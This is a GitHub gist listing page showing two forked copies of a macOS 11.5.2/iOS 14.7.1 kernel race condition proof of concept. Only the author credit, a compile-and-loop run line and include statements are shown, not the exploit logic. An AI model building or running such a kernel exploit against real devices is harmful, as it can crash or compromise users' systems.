Skip to content

Instantly share code, notes, and snippets.

@LK1105
LK1105 / poc.c
Created September 16, 2021 07:28 — forked from infernalheaven/poc.c
macOS 11.5.2/iOS 14.7.1 Kernel Race Condition poc
/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
@LK1105
LK1105 / 96ae6d6806e974199b1d44ffffca5331.c
Created September 16, 2021 06:39 — forked from networkextension/96ae6d6806e974199b1d44ffffca5331.c
96ae6d6806e974199b1d44ffffca5331.c
/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>